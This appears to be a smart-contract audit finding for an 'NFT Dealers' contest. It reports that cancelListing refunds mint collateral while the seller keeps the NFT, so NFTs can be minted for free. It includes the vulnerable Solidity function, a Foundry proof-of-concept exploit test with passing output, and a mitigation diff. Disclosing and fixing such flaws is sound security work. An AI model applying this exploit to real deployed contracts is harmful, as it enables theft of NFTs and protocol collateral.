NFT Dealers

First Flight #58
Beginner FriendlyFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

Free Mint Exploit via Collateral Refund on Cancel

Author Revealed upon completion

Root + Impact

Description

  • Normally, when a user mints an NFT, they pay a collateral (e.g., 20 USDC) that is held by the contract until the NFT is sold or burned. This ensures that the user has some skin in the game and prevents abuse.

  • However, the cancelListing function returns the full collateral to the user without requiring the NFT to be burned or transferred. This allows a user to mint an NFT, list it, and then immediately cancel the listing to get their collateral back – while still keeping the NFT. The result is that the user obtains the NFT for free and can repeat the process to mint all available NFTs without any cost.

function cancelListing(uint256 _listingId) external {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller == msg.sender, "Only seller can cancel listing");
s_listings[_listingId].isActive = false;
activeListingsCounter--;
// @> Collateral is refunded even though the NFT remains with the seller
usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
collateralForMinting[listing.tokenId] = 0;
emit NFT_Dealers_ListingCanceled(_listingId);
}

Risk

Likelihood:

  • Any whitelisted user can trigger this exploit.

  • The exploit can be repeated as long as there are NFTs left to mint (up to MAX_SUPPLY).

  • No special conditions are required; the user simply mints, lists, and cancels in the same transaction.

Impact:

  • An attacker can mint all available NFTs for free, effectively stealing them from the protocol.

  • The protocol loses the collateral that was meant to be locked, and the attacker gains valuable assets without paying.

Proof of Concept

The following Foundry test demonstrates the exploit:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/NFTDealers.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockUSDC is ERC20 {
constructor() ERC20("USD Coin", "USDC") {
_mint(msg.sender, 1_000_000 * 10 ** 6);
}
function decimals() public pure override returns (uint8) { return 6; }
}
contract NFTDealersTest is Test {
NFTDealers nft;
MockUSDC usdc;
address owner = address(0x123);
address attacker = address(0x456);
uint256 constant LOCK_AMOUNT = 20 * 10 ** 6; // 20 USDC
function setUp() public {
vm.startPrank(owner);
usdc = new MockUSDC();
nft = new NFTDealers(owner, address(usdc), "Test", "TST", "ipfs://...", LOCK_AMOUNT);
nft.revealCollection();
nft.whitelistWallet(attacker);
usdc.transfer(attacker, LOCK_AMOUNT);
vm.stopPrank();
}
function testExploitFreeMint() public {
vm.startPrank(attacker);
usdc.approve(address(nft), LOCK_AMOUNT);
nft.mintNft();
assertEq(usdc.balanceOf(attacker), 0); // Collateral paid
uint256 tokenId = 1;
nft.list(tokenId, 1_000_000); // list at minimum price
nft.cancelListing(tokenId);
assertEq(usdc.balanceOf(attacker), LOCK_AMOUNT); // Collateral returned
assertEq(nft.ownerOf(tokenId), attacker); // NFT still owned
vm.stopPrank();
}
}

Result: The attacker ends up with an NFT without spending any USDC (except gas).

[⠰] Compiling...
No files changed, compilation skipped
Ran 1 test for test/NFTDealers3.t.sol:NFTDealersTest
[PASS] testExploitFreeMint() (gas: 222280)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 12.34ms (1.44ms CPU time)
Ran 1 test suite in 37.67ms (12.34ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation

Modify the cancelListing function so that the collateral is not refunded unless the NFT is burned or transferred to the contract. Alternatively, require the seller to burn the NFT to get the collateral back.

function cancelListing(uint256 _listingId) external {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller == msg.sender, "Only seller can cancel listing");
s_listings[_listingId].isActive = false;
activeListingsCounter--;
- usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
- collateralForMinting[listing.tokenId] = 0;
+ // Either do not refund the collateral, or burn the NFT before refunding
+ // Option: require NFT to be burned
+ _burn(listing.tokenId); // Burn the NFT
+ usdc.safeTransfer(listing.seller, collateralForMinting[listing.tokenId]);
+ collateralForMinting[listing.tokenId] = 0;
emit NFT_Dealers_ListingCanceled(_listingId);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!